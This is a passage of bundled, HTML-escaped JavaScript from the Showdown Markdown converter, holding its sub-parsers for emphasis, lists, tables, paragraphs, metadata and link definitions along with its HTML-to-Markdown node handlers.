          text2 = text2.replace(base64RegExp, writeImageTagBase64);
          text2 = text2.replace(crazyRegExp, writeImageTag);
          text2 = text2.replace(inlineRegExp, writeImageTag);
          text2 = text2.replace(refShortcutRegExp, writeImageTag);
          text2 = globals.converter._dispatch(&quot;images.after&quot;, text2, options, globals);
          return text2;
        });
        showdown2.subParser(&quot;italicsAndBold&quot;, function(text2, options, globals) {
          &quot;use strict&quot;;
          text2 = globals.converter._dispatch(&quot;italicsAndBold.before&quot;, text2, options, globals);
          function parseInside(txt, left, right) {
            return left + txt + right;
          }
          if (options.literalMidWordUnderscores) {
            text2 = text2.replace(/\b___(\S[\s\S]*?)___\b/g, function(wm, txt) {
              return parseInside(txt, &quot;&lt;strong&gt;&lt;em&gt;&quot;, &quot;&lt;/em&gt;&lt;/strong&gt;&quot;);
            });
            text2 = text2.replace(/\b__(\S[\s\S]*?)__\b/g, function(wm, txt) {
              return parseInside(txt, &quot;&lt;strong&gt;&quot;, &quot;&lt;/strong&gt;&quot;);
            });
            text2 = text2.replace(/\b_(\S[\s\S]*?)_\b/g, function(wm, txt) {
              return parseInside(txt, &quot;&lt;em&gt;&quot;, &quot;&lt;/em&gt;&quot;);
            });
          } else {
            text2 = text2.replace(/___(\S[\s\S]*?)___/g, function(wm, m2) {
              return /\S$/.test(m2) ? parseInside(m2, &quot;&lt;strong&gt;&lt;em&gt;&quot;, &quot;&lt;/em&gt;&lt;/strong&gt;&quot;) : wm;
            });
            text2 = text2.replace(/__(\S[\s\S]*?)__/g, function(wm, m2) {
              return /\S$/.test(m2) ? parseInside(m2, &quot;&lt;strong&gt;&quot;, &quot;&lt;/strong&gt;&quot;) : wm;
            });
            text2 = text2.replace(/_([^\s_][\s\S]*?)_/g, function(wm, m2) {
              return /\S$/.test(m2) ? parseInside(m2, &quot;&lt;em&gt;&quot;, &quot;&lt;/em&gt;&quot;) : wm;
            });
          }
          if (options.literalMidWordAsterisks) {
            text2 = text2.replace(/([^*]|^)\B\*\*\*(\S[\s\S]*?)\*\*\*\B(?!\*)/g, function(wm, lead, txt) {
              return parseInside(txt, lead + &quot;&lt;strong&gt;&lt;em&gt;&quot;, &quot;&lt;/em&gt;&lt;/strong&gt;&quot;);
            });
            text2 = text2.replace(/([^*]|^)\B\*\*(\S[\s\S]*?)\*\*\B(?!\*)/g, function(wm, lead, txt) {
              return parseInside(txt, lead + &quot;&lt;strong&gt;&quot;, &quot;&lt;/strong&gt;&quot;);
            });
            text2 = text2.replace(/([^*]|^)\B\*(\S[\s\S]*?)\*\B(?!\*)/g, function(wm, lead, txt) {
              return parseInside(txt, lead + &quot;&lt;em&gt;&quot;, &quot;&lt;/em&gt;&quot;);
            });
          } else {
            text2 = text2.replace(/\*\*\*(\S[\s\S]*?)\*\*\*/g, function(wm, m2) {
              return /\S$/.test(m2) ? parseInside(m2, &quot;&lt;strong&gt;&lt;em&gt;&quot;, &quot;&lt;/em&gt;&lt;/strong&gt;&quot;) : wm;
            });
            text2 = text2.replace(/\*\*(\S[\s\S]*?)\*\*/g, function(wm, m2) {
              return /\S$/.test(m2) ? parseInside(m2, &quot;&lt;strong&gt;&quot;, &quot;&lt;/strong&gt;&quot;) : wm;
            });
            text2 = text2.replace(/\*([^\s*][\s\S]*?)\*/g, function(wm, m2) {
              return /\S$/.test(m2) ? parseInside(m2, &quot;&lt;em&gt;&quot;, &quot;&lt;/em&gt;&quot;) : wm;
            });
          }
          text2 = globals.converter._dispatch(&quot;italicsAndBold.after&quot;, text2, options, globals);
          return text2;
        });
        showdown2.subParser(&quot;lists&quot;, function(text2, options, globals) {
          &quot;use strict&quot;;
          function processListItems(listStr, trimTrailing) {
            globals.gListLevel++;
            listStr = listStr.replace(/\n{2,}$/, &quot;\n&quot;);
            listStr += &quot;\xA80&quot;;
            var rgx = /(\n)?(^ {0,3})([*+-]|\d+[.])[ \t]+((\[(x|X| )?])?[ \t]*[^\r]+?(\n{1,2}))(?=\n*(¨0| {0,3}([*+-]|\d+[.])[ \t]+))/gm, isParagraphed = /\n[ \t]*\n(?!¨0)/.test(listStr);
            if (options.disableForced4SpacesIndentedSublists) {
              rgx = /(\n)?(^ {0,3})([*+-]|\d+[.])[ \t]+((\[(x|X| )?])?[ \t]*[^\r]+?(\n{1,2}))(?=\n*(¨0|\2([*+-]|\d+[.])[ \t]+))/gm;
            }
            listStr = listStr.replace(rgx, function(wholeMatch, m1, m2, m3, m4, taskbtn, checked) {
              checked = checked &amp;&amp; checked.trim() !== &quot;&quot;;
              var item = showdown2.subParser(&quot;outdent&quot;)(m4, options, globals), bulletStyle = &quot;&quot;;
              if (taskbtn &amp;&amp; options.tasklists) {
                bulletStyle = &#039; class=&quot;task-list-item&quot; style=&quot;list-style-type: none;&quot;&#039;;
                item = item.replace(/^[ \t]*\[(x|X| )?]/m, function() {
                  var otp = &#039;&lt;input type=&quot;checkbox&quot; disabled style=&quot;margin: 0px 0.35em 0.25em -1.6em; vertical-align: middle;&quot;&#039;;
                  if (checked) {
                    otp += &quot; checked&quot;;
                  }
                  otp += &quot;&gt;&quot;;
                  return otp;
                });
              }
              item = item.replace(/^([-*+]|\d\.)[ \t]+[\S\n ]*/g, function(wm2) {
                return &quot;\xA8A&quot; + wm2;
              });
              if (m1 || item.search(/\n{2,}/) &gt; -1) {
                item = showdown2.subParser(&quot;githubCodeBlocks&quot;)(item, options, globals);
                item = showdown2.subParser(&quot;blockGamut&quot;)(item, options, globals);
              } else {
                item = showdown2.subParser(&quot;lists&quot;)(item, options, globals);
                item = item.replace(/\n$/, &quot;&quot;);
                item = showdown2.subParser(&quot;hashHTMLBlocks&quot;)(item, options, globals);
                item = item.replace(/\n\n+/g, &quot;\n\n&quot;);
                if (isParagraphed) {
                  item = showdown2.subParser(&quot;paragraphs&quot;)(item, options, globals);
                } else {
                  item = showdown2.subParser(&quot;spanGamut&quot;)(item, options, globals);
                }
              }
              item = item.replace(&quot;\xA8A&quot;, &quot;&quot;);
              item = &quot;&lt;li&quot; + bulletStyle + &quot;&gt;&quot; + item + &quot;&lt;/li&gt;\n&quot;;
              return item;
            });
            listStr = listStr.replace(/¨0/g, &quot;&quot;);
            globals.gListLevel--;
            if (trimTrailing) {
              listStr = listStr.replace(/\s+$/, &quot;&quot;);
            }
            return listStr;
          }
          function styleStartNumber(list, listType) {
            if (listType === &quot;ol&quot;) {
              var res = list.match(/^ *(\d+)\./);
              if (res &amp;&amp; res[1] !== &quot;1&quot;) {
                return &#039; start=&quot;&#039; + res[1] + &#039;&quot;&#039;;
              }
            }
            return &quot;&quot;;
          }
          function parseConsecutiveLists(list, listType, trimTrailing) {
            var olRgx = options.disableForced4SpacesIndentedSublists ? /^ ?\d+\.[ \t]/gm : /^ {0,3}\d+\.[ \t]/gm, ulRgx = options.disableForced4SpacesIndentedSublists ? /^ ?[*+-][ \t]/gm : /^ {0,3}[*+-][ \t]/gm, counterRxg = listType === &quot;ul&quot; ? olRgx : ulRgx, result = &quot;&quot;;
            if (list.search(counterRxg) !== -1) {
              (function parseCL(txt) {
                var pos = txt.search(counterRxg), style2 = styleStartNumber(list, listType);
                if (pos !== -1) {
                  result += &quot;\n\n&lt;&quot; + listType + style2 + &quot;&gt;\n&quot; + processListItems(txt.slice(0, pos), !!trimTrailing) + &quot;&lt;/&quot; + listType + &quot;&gt;\n&quot;;
                  listType = listType === &quot;ul&quot; ? &quot;ol&quot; : &quot;ul&quot;;
                  counterRxg = listType === &quot;ul&quot; ? olRgx : ulRgx;
                  parseCL(txt.slice(pos));
                } else {
                  result += &quot;\n\n&lt;&quot; + listType + style2 + &quot;&gt;\n&quot; + processListItems(txt, !!trimTrailing) + &quot;&lt;/&quot; + listType + &quot;&gt;\n&quot;;
                }
              })(list);
            } else {
              var style = styleStartNumber(list, listType);
              result = &quot;\n\n&lt;&quot; + listType + style + &quot;&gt;\n&quot; + processListItems(list, !!trimTrailing) + &quot;&lt;/&quot; + listType + &quot;&gt;\n&quot;;
            }
            return result;
          }
          text2 = globals.converter._dispatch(&quot;lists.before&quot;, text2, options, globals);
          text2 += &quot;\xA80&quot;;
          if (globals.gListLevel) {
            text2 = text2.replace(
              /^(( {0,3}([*+-]|\d+[.])[ \t]+)[^\r]+?(¨0|\n{2,}(?=\S)(?![ \t]*(?:[*+-]|\d+[.])[ \t]+)))/gm,
              function(wholeMatch, list, m2) {
                var listType = m2.search(/[*+-]/g) &gt; -1 ? &quot;ul&quot; : &quot;ol&quot;;
                return parseConsecutiveLists(list, listType, true);
              }
            );
          } else {
            text2 = text2.replace(
              /(\n\n|^\n?)(( {0,3}([*+-]|\d+[.])[ \t]+)[^\r]+?(¨0|\n{2,}(?=\S)(?![ \t]*(?:[*+-]|\d+[.])[ \t]+)))/gm,
              function(wholeMatch, m1, list, m3) {
                var listType = m3.search(/[*+-]/g) &gt; -1 ? &quot;ul&quot; : &quot;ol&quot;;
                return parseConsecutiveLists(list, listType, false);
              }
            );
          }
          text2 = text2.replace(/¨0/, &quot;&quot;);
          text2 = globals.converter._dispatch(&quot;lists.after&quot;, text2, options, globals);
          return text2;
        });
        showdown2.subParser(&quot;metadata&quot;, function(text2, options, globals) {
          &quot;use strict&quot;;
          if (!options.metadata) {
            return text2;
          }
          text2 = globals.converter._dispatch(&quot;metadata.before&quot;, text2, options, globals);
          function parseMetadataContents(content) {
            globals.metadata.raw = content;
            content = content.replace(/&amp;/g, &quot;&amp;amp;&quot;).replace(/&quot;/g, &quot;&amp;quot;&quot;);
            content = content.replace(/\n {4}/g, &quot; &quot;);
            content.replace(/^([\S ]+): +([\s\S]+?)$/gm, function(wm, key, value) {
              globals.metadata.parsed[key] = value;
              return &quot;&quot;;
            });
          }
          text2 = text2.replace(/^\s*«««+(\S*?)\n([\s\S]+?)\n»»»+\n/, function(wholematch, format, content) {
            parseMetadataContents(content);
            return &quot;\xA8M&quot;;
          });
          text2 = text2.replace(/^\s*---+(\S*?)\n([\s\S]+?)\n---+\n/, function(wholematch, format, content) {
            if (format) {
              globals.metadata.format = format;
            }
            parseMetadataContents(content);
            return &quot;\xA8M&quot;;
          });
          text2 = text2.replace(/¨M/g, &quot;&quot;);
          text2 = globals.converter._dispatch(&quot;metadata.after&quot;, text2, options, globals);
          return text2;
        });
        showdown2.subParser(&quot;outdent&quot;, function(text2, options, globals) {
          &quot;use strict&quot;;
          text2 = globals.converter._dispatch(&quot;outdent.before&quot;, text2, options, globals);
          text2 = text2.replace(/^(\t|[ ]{1,4})/gm, &quot;\xA80&quot;);
          text2 = text2.replace(/¨0/g, &quot;&quot;);
          text2 = globals.converter._dispatch(&quot;outdent.after&quot;, text2, options, globals);
          return text2;
        });
        showdown2.subParser(&quot;paragraphs&quot;, function(text2, options, globals) {
          &quot;use strict&quot;;
          text2 = globals.converter._dispatch(&quot;paragraphs.before&quot;, text2, options, globals);
          text2 = text2.replace(/^\n+/g, &quot;&quot;);
          text2 = text2.replace(/\n+$/g, &quot;&quot;);
          var grafs = text2.split(/\n{2,}/g), grafsOut = [], end = grafs.length;
          for (var i2 = 0; i2 &lt; end; i2++) {
            var str = grafs[i2];
            if (str.search(/¨(K|G)(\d+)\1/g) &gt;= 0) {
              grafsOut.push(str);
            } else if (str.search(/\S/) &gt;= 0) {
              str = showdown2.subParser(&quot;spanGamut&quot;)(str, options, globals);
              str = str.replace(/^([ \t]*)/g, &quot;&lt;p&gt;&quot;);
              str += &quot;&lt;/p&gt;&quot;;
              grafsOut.push(str);
            }
          }
          end = grafsOut.length;
          for (i2 = 0; i2 &lt; end; i2++) {
            var blockText = &quot;&quot;, grafsOutIt = grafsOut[i2], codeFlag = false;
            while (/¨(K|G)(\d+)\1/.test(grafsOutIt)) {
              var delim = RegExp.$1, num = RegExp.$2;
              if (delim === &quot;K&quot;) {
                blockText = globals.gHtmlBlocks[num];
              } else {
                if (codeFlag) {
                  blockText = showdown2.subParser(&quot;encodeCode&quot;)(globals.ghCodeBlocks[num].text, options, globals);
                } else {
                  blockText = globals.ghCodeBlocks[num].codeblock;
                }
              }
              blockText = blockText.replace(/\$/g, &quot;$$$$&quot;);
              grafsOutIt = grafsOutIt.replace(/(\n\n)?¨(K|G)\d+\2(\n\n)?/, blockText);
              if (/^&lt;pre\b[^&gt;]*&gt;\s*&lt;code\b[^&gt;]*&gt;/.test(grafsOutIt)) {
                codeFlag = true;
              }
            }
            grafsOut[i2] = grafsOutIt;
          }
          text2 = grafsOut.join(&quot;\n&quot;);
          text2 = text2.replace(/^\n+/g, &quot;&quot;);
          text2 = text2.replace(/\n+$/g, &quot;&quot;);
          return globals.converter._dispatch(&quot;paragraphs.after&quot;, text2, options, globals);
        });
        showdown2.subParser(&quot;runExtension&quot;, function(ext, text2, options, globals) {
          &quot;use strict&quot;;
          if (ext.filter) {
            text2 = ext.filter(text2, globals.converter, options);
          } else if (ext.regex) {
            var re = ext.regex;
            if (!(re instanceof RegExp)) {
              re = new RegExp(re, &quot;g&quot;);
            }
            text2 = text2.replace(re, ext.replace);
          }
          return text2;
        });
        showdown2.subParser(&quot;spanGamut&quot;, function(text2, options, globals) {
          &quot;use strict&quot;;
          text2 = globals.converter._dispatch(&quot;spanGamut.before&quot;, text2, options, globals);
          text2 = showdown2.subParser(&quot;codeSpans&quot;)(text2, options, globals);
          text2 = showdown2.subParser(&quot;escapeSpecialCharsWithinTagAttributes&quot;)(text2, options, globals);
          text2 = showdown2.subParser(&quot;encodeBackslashEscapes&quot;)(text2, options, globals);
          text2 = showdown2.subParser(&quot;images&quot;)(text2, options, globals);
          text2 = showdown2.subParser(&quot;anchors&quot;)(text2, options, globals);
          text2 = showdown2.subParser(&quot;autoLinks&quot;)(text2, options, globals);
          text2 = showdown2.subParser(&quot;simplifiedAutoLinks&quot;)(text2, options, globals);
          text2 = showdown2.subParser(&quot;emoji&quot;)(text2, options, globals);
          text2 = showdown2.subParser(&quot;underline&quot;)(text2, options, globals);
          text2 = showdown2.subParser(&quot;italicsAndBold&quot;)(text2, options, globals);
          text2 = showdown2.subParser(&quot;strikethrough&quot;)(text2, options, globals);
          text2 = showdown2.subParser(&quot;ellipsis&quot;)(text2, options, globals);
          text2 = showdown2.subParser(&quot;hashHTMLSpans&quot;)(text2, options, globals);
          text2 = showdown2.subParser(&quot;encodeAmpsAndAngles&quot;)(text2, options, globals);
          if (options.simpleLineBreaks) {
            if (!/\n\n¨K/.test(text2)) {
              text2 = text2.replace(/\n+/g, &quot;&lt;br /&gt;\n&quot;);
            }
          } else {
            text2 = text2.replace(/  +\n/g, &quot;&lt;br /&gt;\n&quot;);
          }
          text2 = globals.converter._dispatch(&quot;spanGamut.after&quot;, text2, options, globals);
          return text2;
        });
        showdown2.subParser(&quot;strikethrough&quot;, function(text2, options, globals) {
          &quot;use strict&quot;;
          function parseInside(txt) {
            if (options.simplifiedAutoLink) {
              txt = showdown2.subParser(&quot;simplifiedAutoLinks&quot;)(txt, options, globals);
            }
            return &quot;&lt;del&gt;&quot; + txt + &quot;&lt;/del&gt;&quot;;
          }
          if (options.strikethrough) {
            text2 = globals.converter._dispatch(&quot;strikethrough.before&quot;, text2, options, globals);
            text2 = text2.replace(/(?:~){2}([\s\S]+?)(?:~){2}/g, function(wm, txt) {
              return parseInside(txt);
            });
            text2 = globals.converter._dispatch(&quot;strikethrough.after&quot;, text2, options, globals);
          }
          return text2;
        });
        showdown2.subParser(&quot;stripLinkDefinitions&quot;, function(text2, options, globals) {
          &quot;use strict&quot;;
          var regex = /^ {0,3}\[(.+)]:[ \t]*\n?[ \t]*&lt;?([^&gt;\s]+)&gt;?(?: =([*\d]+[A-Za-z%]{0,4})x([*\d]+[A-Za-z%]{0,4}))?[ \t]*\n?[ \t]*(?:(\n*)[&quot;|&#039;(](.+?)[&quot;|&#039;)][ \t]*)?(?:\n+|(?=¨0))/gm, base64Regex = /^ {0,3}\[(.+)]:[ \t]*\n?[ \t]*&lt;?(data:.+?\/.+?;base64,[A-Za-z0-9+/=\n]+?)&gt;?(?: =([*\d]+[A-Za-z%]{0,4})x([*\d]+[A-Za-z%]{0,4}))?[ \t]*\n?[ \t]*(?:(\n*)[&quot;|&#039;(](.+?)[&quot;|&#039;)][ \t]*)?(?:\n\n|(?=¨0)|(?=\n\[))/gm;
          text2 += &quot;\xA80&quot;;
          var replaceFunc = function(wholeMatch, linkId, url, width, height, blankLines, title) {
            linkId = linkId.toLowerCase();
            if (url.match(/^data:.+?\/.+?;base64,/)) {
              globals.gUrls[linkId] = url.replace(/\s/g, &quot;&quot;);
            } else {
              globals.gUrls[linkId] = showdown2.subParser(&quot;encodeAmpsAndAngles&quot;)(url, options, globals);
            }
            if (blankLines) {
              return blankLines + title;
            } else {
              if (title) {
                globals.gTitles[linkId] = title.replace(/&quot;|&#039;/g, &quot;&amp;quot;&quot;);
              }
              if (options.parseImgDimensions &amp;&amp; width &amp;&amp; height) {
                globals.gDimensions[linkId] = {
                  width,
                  height
                };
              }
            }
            return &quot;&quot;;
          };
          text2 = text2.replace(base64Regex, replaceFunc);
          text2 = text2.replace(regex, replaceFunc);
          text2 = text2.replace(/¨0/, &quot;&quot;);
          return text2;
        });
        showdown2.subParser(&quot;tables&quot;, function(text2, options, globals) {
          &quot;use strict&quot;;
          if (!options.tables) {
            return text2;
          }
          var tableRgx = /^ {0,3}\|?.+\|.+\n {0,3}\|?[ \t]*:?[ \t]*(?:[-=]){2,}[ \t]*:?[ \t]*\|[ \t]*:?[ \t]*(?:[-=]){2,}[\s\S]+?(?:\n\n|¨0)/gm, singeColTblRgx = /^ {0,3}\|.+\|[ \t]*\n {0,3}\|[ \t]*:?[ \t]*(?:[-=]){2,}[ \t]*:?[ \t]*\|[ \t]*\n( {0,3}\|.+\|[ \t]*\n)*(?:\n|¨0)/gm;
          function parseStyles(sLine) {
            if (/^:[ \t]*--*$/.test(sLine)) {
              return &#039; style=&quot;text-align:left;&quot;&#039;;
            } else if (/^--*[ \t]*:[ \t]*$/.test(sLine)) {
              return &#039; style=&quot;text-align:right;&quot;&#039;;
            } else if (/^:[ \t]*--*[ \t]*:$/.test(sLine)) {
              return &#039; style=&quot;text-align:center;&quot;&#039;;
            } else {
              return &quot;&quot;;
            }
          }
          function parseHeaders(header, style) {
            var id = &quot;&quot;;
            header = header.trim();
            if (options.tablesHeaderId || options.tableHeaderId) {
              id = &#039; id=&quot;&#039; + header.replace(/ /g, &quot;_&quot;).toLowerCase() + &#039;&quot;&#039;;
            }
            header = showdown2.subParser(&quot;spanGamut&quot;)(header, options, globals);
            return &quot;&lt;th&quot; + id + style + &quot;&gt;&quot; + header + &quot;&lt;/th&gt;\n&quot;;
          }
          function parseCells(cell, style) {
            var subText = showdown2.subParser(&quot;spanGamut&quot;)(cell, options, globals);
            return &quot;&lt;td&quot; + style + &quot;&gt;&quot; + subText + &quot;&lt;/td&gt;\n&quot;;
          }
          function buildTable(headers, cells) {
            var tb = &quot;&lt;table&gt;\n&lt;thead&gt;\n&lt;tr&gt;\n&quot;, tblLgn = headers.length;
            for (var i2 = 0; i2 &lt; tblLgn; ++i2) {
              tb += headers[i2];
            }
            tb += &quot;&lt;/tr&gt;\n&lt;/thead&gt;\n&lt;tbody&gt;\n&quot;;
            for (i2 = 0; i2 &lt; cells.length; ++i2) {
              tb += &quot;&lt;tr&gt;\n&quot;;
              for (var ii = 0; ii &lt; tblLgn; ++ii) {
                tb += cells[i2][ii];
              }
              tb += &quot;&lt;/tr&gt;\n&quot;;
            }
            tb += &quot;&lt;/tbody&gt;\n&lt;/table&gt;\n&quot;;
            return tb;
          }
          function parseTable(rawTable) {
            var i2, tableLines = rawTable.split(&quot;\n&quot;);
            for (i2 = 0; i2 &lt; tableLines.length; ++i2) {
              if (/^ {0,3}\|/.test(tableLines[i2])) {
                tableLines[i2] = tableLines[i2].replace(/^ {0,3}\|/, &quot;&quot;);
              }
              if (/\|[ \t]*$/.test(tableLines[i2])) {
                tableLines[i2] = tableLines[i2].replace(/\|[ \t]*$/, &quot;&quot;);
              }
              tableLines[i2] = showdown2.subParser(&quot;codeSpans&quot;)(tableLines[i2], options, globals);
            }
            var rawHeaders = tableLines[0].split(&quot;|&quot;).map(function(s2) {
              return s2.trim();
            }), rawStyles = tableLines[1].split(&quot;|&quot;).map(function(s2) {
              return s2.trim();
            }), rawCells = [], headers = [], styles = [], cells = [];
            tableLines.shift();
            tableLines.shift();
            for (i2 = 0; i2 &lt; tableLines.length; ++i2) {
              if (tableLines[i2].trim() === &quot;&quot;) {
                continue;
              }
              rawCells.push(
                tableLines[i2].split(&quot;|&quot;).map(function(s2) {
                  return s2.trim();
                })
              );
            }
            if (rawHeaders.length &lt; rawStyles.length) {
              return rawTable;
            }
            for (i2 = 0; i2 &lt; rawStyles.length; ++i2) {
              styles.push(parseStyles(rawStyles[i2]));
            }
            for (i2 = 0; i2 &lt; rawHeaders.length; ++i2) {
              if (showdown2.helper.isUndefined(styles[i2])) {
                styles[i2] = &quot;&quot;;
              }
              headers.push(parseHeaders(rawHeaders[i2], styles[i2]));
            }
            for (i2 = 0; i2 &lt; rawCells.length; ++i2) {
              var row = [];
              for (var ii = 0; ii &lt; headers.length; ++ii) {
                if (showdown2.helper.isUndefined(rawCells[i2][ii])) {
                }
                row.push(parseCells(rawCells[i2][ii], styles[ii]));
              }
              cells.push(row);
            }
            return buildTable(headers, cells);
          }
          text2 = globals.converter._dispatch(&quot;tables.before&quot;, text2, options, globals);
          text2 = text2.replace(/\\(\|)/g, showdown2.helper.escapeCharactersCallback);
          text2 = text2.replace(tableRgx, parseTable);
          text2 = text2.replace(singeColTblRgx, parseTable);
          text2 = globals.converter._dispatch(&quot;tables.after&quot;, text2, options, globals);
          return text2;
        });
        showdown2.subParser(&quot;underline&quot;, function(text2, options, globals) {
          &quot;use strict&quot;;
          if (!options.underline) {
            return text2;
          }
          text2 = globals.converter._dispatch(&quot;underline.before&quot;, text2, options, globals);
          if (options.literalMidWordUnderscores) {
            text2 = text2.replace(/\b___(\S[\s\S]*?)___\b/g, function(wm, txt) {
              return &quot;&lt;u&gt;&quot; + txt + &quot;&lt;/u&gt;&quot;;
            });
            text2 = text2.replace(/\b__(\S[\s\S]*?)__\b/g, function(wm, txt) {
              return &quot;&lt;u&gt;&quot; + txt + &quot;&lt;/u&gt;&quot;;
            });
          } else {
            text2 = text2.replace(/___(\S[\s\S]*?)___/g, function(wm, m2) {
              return /\S$/.test(m2) ? &quot;&lt;u&gt;&quot; + m2 + &quot;&lt;/u&gt;&quot; : wm;
            });
            text2 = text2.replace(/__(\S[\s\S]*?)__/g, function(wm, m2) {
              return /\S$/.test(m2) ? &quot;&lt;u&gt;&quot; + m2 + &quot;&lt;/u&gt;&quot; : wm;
            });
          }
          text2 = text2.replace(/(_)/g, showdown2.helper.escapeCharactersCallback);
          text2 = globals.converter._dispatch(&quot;underline.after&quot;, text2, options, globals);
          return text2;
        });
        showdown2.subParser(&quot;unescapeSpecialChars&quot;, function(text2, options, globals) {
          &quot;use strict&quot;;
          text2 = globals.converter._dispatch(&quot;unescapeSpecialChars.before&quot;, text2, options, globals);
          text2 = text2.replace(/¨E(\d+)E/g, function(wholeMatch, m1) {
            var charCodeToReplace = parseInt(m1);
            return String.fromCharCode(charCodeToReplace);
          });
          text2 = globals.converter._dispatch(&quot;unescapeSpecialChars.after&quot;, text2, options, globals);
          return text2;
        });
        showdown2.subParser(&quot;makeMarkdown.blockquote&quot;, function(node, globals) {
          &quot;use strict&quot;;
          var txt = &quot;&quot;;
          if (node.hasChildNodes()) {
            var children = node.childNodes, childrenLength = children.length;
            for (var i2 = 0; i2 &lt; childrenLength; ++i2) {
              var innerTxt = showdown2.subParser(&quot;makeMarkdown.node&quot;)(children[i2], globals);
              if (innerTxt === &quot;&quot;) {
                continue;
              }
              txt += innerTxt;
            }
          }
          txt = txt.trim();
          txt = &quot;&gt; &quot; + txt.split(&quot;\n&quot;).join(&quot;\n&gt; &quot;);
          return txt;
        });
        showdown2.subParser(&quot;makeMarkdown.codeBlock&quot;, function(node, globals) {
          &quot;use strict&quot;;
          var lang = node.getAttribute(&quot;language&quot;), num = node.getAttribute(&quot;precodenum&quot;);
          return &quot;```&quot; + lang + &quot;\n&quot; + globals.preList[num] + &quot;\n```&quot;;
        });
        showdown2.subParser(&quot;makeMarkdown.codeSpan&quot;, function(node) {
          &quot;use strict&quot;;
          return &quot;`&quot; + node.innerHTML + &quot;`&quot;;
        });
        showdown2.subParser(&quot;makeMarkdown.emphasis&quot;, function(node, globals) {
          &quot;use strict&quot;;
          var txt = &quot;&quot;;
          if (node.hasChildNodes()) {
            txt += &quot;*&quot;;
            var children = node.childNodes, childrenLength = children.length;
            for (var i2 = 0; i2 &lt; childrenLength; ++i2) {
              txt += showdown2.subParser(&quot;makeMarkdown.node&quot;)(children[i2], globals);
            }
            txt += &quot;*&quot;;
          }
          return txt;
        });
        showdown2.subParser(&quot;makeMarkdown.header&quot;, function(node, globals, headerLevel) {
          &quot;use strict&quot;;
          var headerMark = new Array(headerLevel + 1).join(&quot;#&quot;), txt = &quot;&quot;;
          if (node.hasChildNodes()) {
            txt = headerMark + &quot; &quot;;
            var children = node.childNodes, childrenLength = children.length;
            for (var i2 = 0; i2 &lt; childrenLength; ++i2) {
              txt += showdown2.subParser(&quot;makeMarkdown.node&quot;)(children[i2], globals);
            }
          }
          return txt;
        });
        showdown2.subParser(&quot;makeMarkdown.hr&quot;, function() {
          &quot;use strict&quot;;
          return &quot;---&quot;;
        });
        showdown2.subParser(&quot;makeMarkdown.image&quot;, function(node) {
          &quot;use strict&quot;;
          var txt = &quot;&quot;;
          if (node.hasAttribute(&quot;src&quot;)) {
            txt += &quot;![&quot; + node.getAttribute(&quot;alt&quot;) + &quot;](&quot;;
            txt += &quot;&lt;&quot; + node.getAttribute(&quot;src&quot;) + &quot;&gt;&quot;;
            if (node.hasAttribute(&quot;width&quot;) &amp;&amp; node.hasAttribute(&quot;height&quot;)) {
              txt += &quot; =&quot; + node.getAttribute(&quot;width&quot;) + &quot;x&quot; + node.getAttribute(&quot;height&quot;);
            }
            if (node.hasAttribute(&quot;title&quot;)) {
              txt += &#039; &quot;&#039; + node.getAttribute(&quot;title&quot;) + &#039;&quot;&#039;;
            }
            txt += &quot;)&quot;;
          }
          return txt;
        });
        showdown2.subParser(&quot;makeMarkdown.links&quot;, function(node, globals) {
          &quot;use strict&quot;;
          var txt = &quot;&quot;;
          if (node.hasChildNodes() &amp;&amp; node.hasAttribute(&quot;href&quot;)) {
            var children = node.childNodes, childrenLength = children.length;
            txt = &quot;[&quot;;
            for (var i2 = 0; i2 &lt; childrenLength; ++i2) {
              txt += showdown2.subParser(&quot;makeMarkdown.node&quot;)(children[i2], globals);
            }
            txt += &quot;](&quot;;
            txt += &quot;&lt;&quot; + node.getAttribute(&quot;href&quot;) + &quot;&gt;&quot;;
            if (node.hasAttribute(&quot;title&quot;)) {
              txt += &#039; &quot;&#039; + node.getAttribute(&quot;title&quot;) + &#039;&quot;&#039;;
            }
            txt += &quot;)&quot;;
          }
          return txt;
        });
        showdown2.subParser(&quot;makeMarkdown.list&quot;, function(node, globals, type) {
          &quot;use strict&quot;;
          var txt = &quot;&quot;;
          if (!node.hasChildNodes()) {
            return &quot;&quot;;
          }
          var listItems = node.childNodes, listItemsLenght = listItems.length, listNum = node.getAttribute(&quot;start&quot;) || 1;
          for (var i2 = 0; i2 &lt; listItemsLenght; ++i2) {
            if (typeof listItems[i2].tagName === &quot;undefined&quot; || listItems[i2].tagName.toLowerCase() !== &quot;li&quot;) {
              continue;
            }
            var bullet = &quot;&quot;;
            if (type === &quot;ol&quot;) {
              bullet = listNum.toString() + &quot;. &quot;;
            } else {
              bullet = &quot;- &quot;;
            }
            txt += bullet + showdown2.subParser(&quot;makeMarkdown.listItem&quot;)(listItems[i2], globals);
            ++listNum;
          }
          txt += &quot;\n&lt;!-- --&gt;\n&quot;;
          return txt.trim();
        });
        showdown2.subParser(&quot;makeMarkdown.listItem&quot;, function(node, globals) {
          &quot;use strict&quot;;
          var listItemTxt = &quot;&quot;;
          var children = node.childNodes, childrenLenght = children.length;
          for (var i2 = 0; i2 &lt; childrenLenght; ++i2) {
            listItemTxt += showdown2.subParser(&quot;makeMarkdown.node&quot;)(children[i2], globals);
          }
          if (!/\n$/.test(listItemTxt)) {
            listItemTxt += &quot;\n&quot;;
          } else {
            listItemTxt = listItemTxt.split(&quot;\n&quot;).join(&quot;\n    &quot;).replace(/^ {4}$/gm, &quot;&quot;).replace(/\n\n+/g, &quot;\n\n&quot;);
          }
          return listItemTxt;
        });
        showdown2.subParser(&quot;makeMarkdown.node&quot;, function(node, globals, spansOnly) {
          &quot;use strict&quot;;
          spansOnly = spansOnly || false;
          var txt = &quot;&quot;;
          if (node.nodeType === 3) {
            return showdown2.subParser(&quot;makeMarkdown.txt&quot;)(node, globals);
          }
          if (node.nodeType === 8) {
            return &quot;&lt;!--&quot; + node.data + &quot;--&gt;\n\n&quot;;
          }
          if (node.nodeType !== 1) {
            return &quot;&quot;;
          }
          var tagName = node.tagName.toLowerCase();
          switch (tagName) {
            //
            // BLOCKS
            //
            case &quot;h1&quot;:
              if (!spansOnly) {
                txt = showdown2.subParser(&quot;makeMarkdown.header&quot;)(node, globals, 1) + &quot;\n\n&quot;;
              }
              break;
            case &quot;h2&quot;:
              if (!spansOnly) {
                txt = showdown2.subParser(&quot;makeMarkdown.header&quot;)(node, globals, 2) + &quot;\n\n&quot;;
              }
              break;
            case &quot;h3&quot;:
              if (!spansOnly) {
                txt = showdown2.subParser(&quot;makeMarkdown.header&quot;)(node, globals, 3) + &quot;\n\n&quot;;
              }
              break;
            case &quot;h4&quot;:
              if (!spansOnly) {
